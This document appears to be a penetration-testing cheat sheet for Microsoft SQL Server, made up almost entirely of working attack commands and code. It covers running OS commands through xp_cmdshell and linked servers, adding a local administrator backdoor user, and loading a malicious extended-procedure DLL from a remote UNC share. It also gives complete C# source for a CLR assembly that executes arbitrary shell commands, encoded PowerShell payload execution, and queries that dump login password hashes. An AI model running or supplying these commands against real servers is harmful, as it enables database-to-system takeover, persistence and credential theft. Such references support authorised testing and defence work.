SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
Determine Names of Linked Databases
tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

Determine All the Tables Names from a Selected Linked Database

Gather the Top 5 Columns from a Selected Linked Table
The results are ColumnName and ColumnValue which feed into following query
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
Gather Entries from a Selected Linked Column
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
Command Execution via xp_cmdshell
xp_cmdshell disabled by default since SQL Server 2005
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
- Manually execute the SQL query
EXEC xp_cmdshell "net user"; EXEC master..xp_cmdshell 'whoami' EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
- If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
- If the procedure was uninstalled
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Extended Stored Procedure
Add the extended stored procedure and list extended stored procedures
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
- Build a DLL using xp_evil_template.cpp
- Load the DLL
-- can also be loaded from UNC path or Webdav sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll' EXEC xp_calc sp_dropextendedproc 'xp_calc'
CLR Assemblies
Prerequisites:
- sysadmin privileges
- CREATE ASSEMBLY permission (or)
- ALTER ASSEMBLY permission (or)
The execution takes place with privileges of the service account.
Execute commands using CLR assembly
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
# Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
# List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
Manually creating a CLR DLL and importing it
Create a C# DLL file with the following content, with the command : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
Then follow these instructions:
- Enable
show advanced options
on the serversp_configure 'show advanced options',1; RECONFIGURE GO
- Enable CLR on the server
sp_configure 'clr enabled',1 RECONFIGURE GO
- Trust the assembly by adding its SHA512 hash
EXEC sys.sp_add_trusted_assembly 0x[SHA512], N'assembly';
- Import the assembly
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO
- Execute and clean
cmd_exec "whoami" DROP PROCEDURE cmd_exec DROP ASSEMBLY my_assembly
CREATE ASSEMBLY will also accept an hexadecimal string representation of a CLR DLL
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
OLE Automation
- ⚠️ Disabled by default
- The execution takes place with privileges of the service account.

Agent Jobs
- The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.
- ⚠️ Require sysadmin or SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole roles to create a job.

MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
